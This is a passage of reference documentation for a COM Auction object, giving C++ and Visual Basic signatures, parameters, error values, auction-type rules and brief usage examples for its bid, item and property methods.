[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetBid Method [C++]

Auction.AuctionGetBid Method [Visual Basic]

Use this method to retrieve a bid from a specific bidder for a specific auction item.

Definition

[C++]
HRESULT _Auction::AuctionGetBid(
  BSTR szShopperId,
  BSTR szAuctionId,
  IDispatch** pprsBid
);
[Visual Basic]
Function AuctionGetBid(
  szShopperId As String,
  szAuctionId As String
) As Object

Parameters

szShopperId [C++]
[in] A BSTR that contains the unique ID of the bidder.
szShopperId [Visual Basic]
A String that contains the unique ID of the bidder.
szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
pprsBid [C++]
[out, retval] The address of a pointer to the IDispatch interface of an ADODB.Recordset object used to return the specified bid.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADODB.Recordset object that contains the specified bid.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsBid is a Recordset object
rsBid = oAuction.AuctionGetBid(szShopperId, szAuctionId)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetBids Method [C++]

Auction.AuctionGetBids Method [Visual Basic]

Use this method to retrieve all the bids for the specified auction item.

Definition

[C++]
HRESULT _Auction::AuctionGetBids(
  BSTR szAuctionId,
  DATE dtSinceDate,
  IDispatch** rsBids
);
[Visual Basic]
Function AuctionGetBids(
  szAuctionId As String,
  Optional dtSinceDate As Date
) As Object

Parameters

szAuctionId [C++]
[in] A BSTR that contains the auction ID.
szAuctionId [Visual Basic]
A String that contains the auction ID.
dtSinceDate [C++]
[in, optional, defaultvalue (12:00:00 AM)] A DATE that specifies to return only those bids whose status have changed since the indicated date. Status changes are due to bid updates or calculated field updates. A value of NULL indicates to return all bids.
dtSinceDate [Visual Basic]
An optional Date that specifies to return only those bids whose status have changed since the indicated date. Status changes are due to bid updates or calculated field updates. A value of NULL indicates to return all bids.
rsBids [C++]
[out, retval] The address of a pointer to the IDispatch interface of the ADODB.Recordset object used to return the specified bids.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADODB.Recordset object that contains the specified bids.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsBids is a Recordset object
rsBids = oAuction.AuctionGetBids(szAuctionId, dtSinceDate)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetItem Method [C++]

Auction.AuctionGetItem Method [Visual Basic]

Use this method to retrieve an item up for auction.

Definition

[C++]
HRESULT _Auction::AuctionGetItem(
  BSTR szAuctionId,
  IDispatch** rsItem
);
[Visual Basic]
Function AuctionGetItem(
  szAuctionId As String
) As Object

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
rsItem [C++]
[out, retval] The address of a pointer to the IDispatch interface of the ADODB.Recordset object used to return the specified item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADODB.Recordset Object that contains the specified item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetStatus Method [C++]

Auction.AuctionGetStatus Method [Visual Basic]

Use this method to retrieve a Dictionary object containing information for the item up for auction and the bids on the item.

Definition

[C++]
HRESULT _Auction::AuctionGetStatus(
  BSTR szAuctionId,
  IDispatch** dictStatus
);
[Visual Basic]
Function AuctionGetStatus(
  szAuctionId As String
) As Object

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
dictStatus [C++]
[out, retval] The address of a pointer to the IDispatch interface of a Dictionary object used to return the specified item along with the bids on the item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Dictionary object that contains the specified item along with the bids on the item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Dictonary object contains two Recordset objects, rsAuctionItem and rsAuctionBids.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionInit Method [C++]

Auction.AuctionInit Method [Visual Basic]

Use this method to initialize the Auction object.

Definition

[C++]
HRESULT _Auction::AuctionInit(
  BSTR szDSN,
  BSTR szItemTableName,
  BSTR szBidTableName,
  BSTR szBidOrderBy,
  IDispatch* objMessageManager,
  BSTR szLanguage,
  DATE dtAMT,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionInit(
  szDSN As String,
  szItemTableName As String,
  szBidTableName As String,
  szBidOrderBy As String,
  objMessageManager As Object,
  szLanguage As String,
  dtAMT As Date
) As Variant

Parameters

szDSN [C++]
[in] A BSTR that contains the connection string to the database containing the Bid and Item tables.
szDSN [Visual Basic]
A String that contains the connection string to the database containing the Bid and Item tables.
szItemTableName [C++]
[in] A BSTR that contains the Item table name.
szItemTableName [Visual Basic]
A String that contains the Item table name.
szBidTableName [C++]
[in] A BSTR that contains the Bid table name.
szBidTableName [Visual Basic]
A String that contains the Bid table name.
szBidOrderBy [C++]
[in] A BSTR that contains the default bid sort order (SQL ORDER BY clause).
szBidOrderBy [Visual Basic]
A String that contains the default bid sort order (SQL ORDER BY clause).
objMessageManager [C++]
[in] A pointer to the IDispatch interface of a MessageManager object.
objMessageManager [Visual Basic]
A MessageManager object.
szLanguage [C++]
[in] A BSTR that contains the language used by the MessageManager object.
szLanguage [Visual Basic]
A String that contains the language used by the MessageManager object.
dtAMT [C++]
[in] A DATE that contains a timestamp.
dtAMT [Visual Basic]
A Date that contains a timestamp.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'szDSN = _
'AppConfig.GetOptionsDictionary("").s_TransactionsConnectionString
'objMessageManager is the MessageManager object stored at application
'scope.
'dtAMT is a timestamp.
'Ignore return value by treating AuctionInit as a subroutine.
oAuction.AuctionInit szDSN, "AuctionItem", "AuctionBid", "modified_date", objMessageManager, "English", dtAMT

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionRandomBids Method [C++]

Auction.AuctionRandomBids Method [Visual Basic]

Use this method to enter random bids into an auction for testing or demonstration purposes.

Definition

[C++]
HRESULT _Auction::AuctionRandomBids(
  BSTR szAuctionId,
  VARIANT_BOOL fDelete,
  long nNumberBids,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionRandomBids(
  szAuctionId As String,
  fDelete As Boolean,
  nNumberBids As Long
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
fDelete [C++]
[in] A VARIANT_BOOL that indicates whether to delete previous random bids before adding the new bids. A value of True specifies to delete the bids. A value of False specifies to save the bids.
fDelete [Visual Basic]
A Boolean that indicates whether to delete previous random bids before adding the new bids. A value of True specifies to delete the bids. A value of False specifies to save the bids.
nNumberBids [C++]
[in] A long that contains the number of random bids to add.
nNumberBids [Visual Basic]
A Long that contains the number of random bids to add.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Random bids are entered under the bidder name "Random." The bids are at least the minimum bid and ask for a number of items between one and the number available.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'szAuctionId is a GUID
oAuction.AuctionRandomBids szAuctionId, FALSE, 25

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionResolve Method [C++]

Auction.AuctionResolve Method [Visual Basic]

Use this method to run the auction engine and determine the status of the auction. It updates computed values in both the Item and Bid tables.

Definition

[C++]
HRESULT _Auction::AuctionResolve(
  BSTR szAuctionId,
  VARIANT_BOOL bOptimize,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionResolve(
  szAuctionId As String,
  Optional bOptimize As Boolean
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
bOptimize [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that determines when to stop searching for a winning bid. The default value of True indicates to cease checking for winning bids once a winner has been selected. A value of False indicates to search all records in the database in order to look for winning bids.
bOptimize [Visual Basic]
An optional Boolean that determines when to stop searching for a winning bid. A value of True indicates to cease checking for winning bids once a winner has been selected. A value of False indicates to search all records in the database in order to look for winning bids. The default value is True.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionUpdateItem Method [C++]

Auction.AuctionUpdateItem Method [Visual Basic]

Use this method to update an existing item in the auction system.

Definition

[C++]
HRESULT _Auction::AuctionUpdateItem(
  BSTR szAuctionId,
  BSTR szSKU,
  CURRENCY cyReservePrice,
  long nAvailable,
  CURRENCY cyBidIncrement,
  long nAuctionType,
  CURRENCY cyMinimumBid,
  VARIANT_BOOL fSealedBid,
  VARIANT_BOOL fSealedInventory,
  VARIANT_BOOL fActive,
  DATE dtStartDate,
  DATE dtEndDate,
  long nAutoCloseSeconds,
  IDispatch* objErrorList,
  VARIANT_BOOL bResolve,
  long* plNumErrors
);
[Visual Basic]
Function AuctionUpdateItem(
  szAuctionId As String,
  szSKU As String,
  cyReservePrice As Currency,
  nAvailable As Long,
  cyBidIncrement As Currency,
  nAuctionType As Long,
  cyMinimumBid As Currency,
  fSealedBid As Boolean,
  fSealedInventory As Boolean,
  fActive As Boolean,
  dtStartDate As Date,
  dtEndDate As Date,
  nAutoCloseSeconds As Long,
  objErrorList As Object,
  Optional bResolve As Boolean
) As Long

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
szSKU [C++]
[in] A BSTR that contains the unique ID for the item.
szSKU [Visual Basic]
A String that contains the unique ID for the item.
cyReservePrice [C++]
[in] A CURRENCY that contains the minimum price the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
cyReservePrice [Visual Basic]
A Currency that contains the minimum price the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
nAvailable [C++]
[in] A long that contains the number of items for sale.
nAvailable [Visual Basic]
A Long that contains the number of items for sale.
cyBidIncrement [C++]
[in] A CURRENCY that contains the amount a bid must be raised in order to bid on the item.
cyBidIncrement [Visual Basic]
A Currency that contains the amount a bid must be raised in order to bid on the item.
nAuctionType [C++]
[in] A long that contains the auction type. For more information, see the Remarks section.
nAuctionType [Visual Basic]
A Long that contains the auction type. For more information, see the Remarks section.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum opening bid.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum opening bid.
fSealedBid [C++]
[in] A VARIANT_BOOL that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check. A value of False checks against the minimum bid.
fSealedBid [Visual Basic]
A Boolean that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check. A value of False checks against the minimum bid.
fSealedInventory [C++]
[in] A VARIANT_BOOL that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of True skips the check (the fTakeLess parameter in the bid is ignored). A value of False checks against the available items.
fSealedInventory [Visual Basic]
A Boolean that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of True skips the check (the fTakeLess parameter in the bid is ignored). A value of False checks against the available items.
fActive [C++]
[in] A VARIANT_BOOL that indicates whether the auction is active. A value of True indicates the auction is active. A value of False suspends bidding on the auction.
fActive [Visual Basic]
A Boolean that indicates whether the auction is active. A value of True indicates the auction is active. A value of False suspends bidding on the auction.
dtStartDate [C++]
[in] A DATE that determines when bids will be accepted on the item.
dtStartDate [Visual Basic]
A Date that determines when bids will be accepted on the item.
dtEndDate [C++]
[in] A DATE that determines when the auction is closed and the items can be purchased.
dtEndDate [Visual Basic]
A Date that determines when the auction is closed and the items can be purchased.
nAutoCloseSeconds [C++]
[in] A long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
nAutoCloseSeconds [Visual Basic]
A Long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
objErrorList [C++]
[in] A pointer to the IDispatch interface that contains the error list.
objErrorList [Visual Basic]
An IDispatch interface that contains the error list.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to False. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A value of True causes the method to be called with the bOptimize parameter of the method set to False. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
plNumErrors [C++]
[out, retval] A pointer to a long used to return the number of error strings written to the objErrorList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the number of error strings written to the objErrorList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The auction type controls the method used to determine the winning bidder and the amount the winning bidder must pay. The following table describes the available auction types.

Auction Type | Value | Description | Example
Winning Price | 0 | Winning bidders receive the item they bid on for the amount bid. If there is more than one item, winning bidders receive the number requested at the amount they bid. | Two items are at auction. Bidder A bids $10.00, Bidder B bids $5.00, and Bidder C bids $3.00, and each bidder requests one item. Bidder A receives one item for $10.00 and Bidder B receives one item for $5.00. However, if Bidder A requested two items at $10.00 each, both items would be awarded to Bidder A.
Clear Price | 1 | Winning bidders receive the item they bid on for the lowest winning bid. | Same conditions as Winning Price auction type example. Bidder A and Bidder B each receive one item for $5.00.
Second Price | 2 | Winning bidders pay the lowest of the following: The highest losing bid plus the bid increment, the lowest winning bid, or the reserve price, assuming the number of bids above the reserve price is less than the number of available items. | Same conditions as Winning Price auction type example with a bid increment of $0.50. Bidder A and Bidder B each receive one item for $3.50.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' lNumErrStrings is a Long
lNumErrStrings = oAuction.AuctionUpdateItem(szAuctionId, szSKU, cyReservePrice, nAvailable, cyBidIncrement, nAuctionType, cyMinimumBid, fSealedBid, fSealedInventory, fActive, dtStartDate, dtEndDate, nAutoCloseSeconds, objErrorList, bResolve)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction Properties [C++]

Auction Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AuctionID | BSTR | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | DATE | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | IDispatch | Stores the MessageManager object used to generate error messages. This property is read/write.
SzBidOrderBy | BSTR | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | BSTR | Stores the name of the Bid table in the database. This property is read/write.
szDSN | BSTR | Stores the connection string for the database. This property is read/write.
szItemTableName | BSTR | Stores the name of the Item table in the database. This property is read/write.
[Visual Basic]
Property | Type | Description
AuctionID | String | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | Date | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | Object | Stores the MessageManager object used to generate error messages. This property is read/write.
szBidOrderBy | String | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | String | Stores the name of the Bid table in the database. This property is read/write.
szDSN | String | Stores the connection string for the database. This property is read/write.
szItemTableName | String | Stores the name of the Item table in the database. This property is read/write.


_Auction::get_AuctionID Property [C++]

Auction.AuctionID Property [Visual Basic]

The AuctionID property is a read-only String that contains a globally unique identifier (GUID) that uniquely identifies the Auction object.

Definition

[C++]
HRESULT _Auction::get_AuctionID(
  BSTR* AuctionID
);
[Visual Basic]
Property AuctionID() As String

Parameters

AuctionID [C++]
[out, retval] A BSTR used to return the auction ID, a GUID.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_dtAMT, put_dtAMT Property [C++]

Auction.dtAMT Property [Visual Basic]

The dtAMT property is a read/write DATE value used to timestamp auction actions.

Definition

[C++]

Get method:

HRESULT _Auction::get_dtAMT(
  DATE* dtAMT
);

Put method:

HRESULT _Auction::put_dtAMT(
  DATE dtAMT
);
[Visual Basic]
Property dtAMT() As Date

Parameters

dtAMT [C++]
[in] When putting the property, a DATE that contains the time stamp.
[out, retval] When getting the property, a pointer to a DATE used to return the time stamp.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_objMessageManager, put_objMessageManagerProperty [C++]

Auction.objMessageManager [Visual Basic]

The objMessageManager property is a read/write MessageManager object used to return error messages to the bidder.

Definition

[C++]

Get method:

HRESULT _Auction::get_objMessageManager(
  IDispatch** objMessageManager
);

Put method:

HRESULT _Auction::put_objMessageManager(
  IDispatch* objMessageManager
);
[Visual Basic]
Property objMessageManager() As Object

Parameters

objMessageManager [C++]
[in] When putting the property, a pointer to the IDispatch interface of a MessageManager object.
[out, retval] When getting the property, the address of a pointer to the IDispatch interface of a MessageManager object.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szBidOrderBy, put_szBidOrderBy Property C++]

Auction.szBidOrderBy Property [Visual Basic]

The szBidOrderBy property is a read/write String used to resolve ties.

Definition

[C++]

Get method:

HRESULT _Auction::get_szBidOrderBy(
  BSTR* szBidOrderBy
);

Put method:

HRESULT _Auction::put_szBidOrderBy(
  BSTR szBidOrderBy
);
[Visual Basic]
Property szBidOrderBy() As String

Parameters

szBidOrderBy [C++]
[in] When putting the property, a BSTR that contains a comma-separated list of the fields used as criteria for selecting the auction winners.
[out, retval] When getting the property, a pointer to a BSTR used to return a comma-separated list of the fields used as criteria for selecting the auction winners.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This string contains the fields (from the Bid table) used as criteria for selecting the auction winners when equal amounts are bid for an item. The string is added to the ORDER BY clause of a SQL string passed to the database for selecting the winners. The default string is "desired, modified_date". This means if two bidders bid the same amount, the bidder requesting more items wins. If still tied, the bidder placing the earliest bid wins.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szBidTableName, put_szBidTableName Property [C++]

Auction.szBidTableName Property [Visual Basic]

The szBidTableName property is a read/write String used to store the name of the Bid table in the database.

Definition

[C++]

Get method:

HRESULT _Auction::get_szBidTableName(
  BSTR* szBidTableName
);

Put method:

HRESULT _Auction::put_szBidTableName(
  BSTR szBidTableName
);
[Visual Basic]
Property szBidTableName() As String

Parameters

szBidTableName [C++]
[in] When putting the property, a BSTR that contains the Bid table name.
[out, retval] When getting the property, a pointer to a BSTR used to return the Bid table name.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Bid table contains information about bids placed on auction items. The default name for this table in the site database is Auction_bid.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szDSN, put_szDSN Property [C++]

Auction.szDSN Property [Visual Basic]

The szDSN property is a read/write String used to store the connection string for the database.

Definition

[C++]

Get method:

HRESULT _Auction::get_szDSN(
  BSTR* szDSN
);

Put method:

HRESULT _Auction::put_szDSN(
  BSTR szDSN
);
[Visual Basic]
Property szDSN() As String

Parameters

szDSN [C++]
[in] When putting the property, a BSTR that contains the connection string.
[out, retval] When getting the property, a pointer to a BSTR used to return the connection string.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The connection string defaults to an empty string and must be set before the Auction object can be used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szItemTableName, put_szItemTableName Property [C++]

Auction.szItemTableName Property [Visual Basic]

The szItemTableName property is a read/write String used to store the name of the Item table in the database.

Definition

[C++]

Get method:

HRESULT _Auction::get_szItemTableName(
  BSTR* szItemTableName
);

Put method:

HRESULT _Auction::put_szItemTableName(
  BSTR szItemTableName
);
[Visual Basic]
Property szItemTableName() As String

Parameters

szItemTableName [C++]
[in] When putting the property, a BSTR that contains the Item table name.
[out, retval] When getting the property, a pointer to a BSTR used to return the Item table name.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

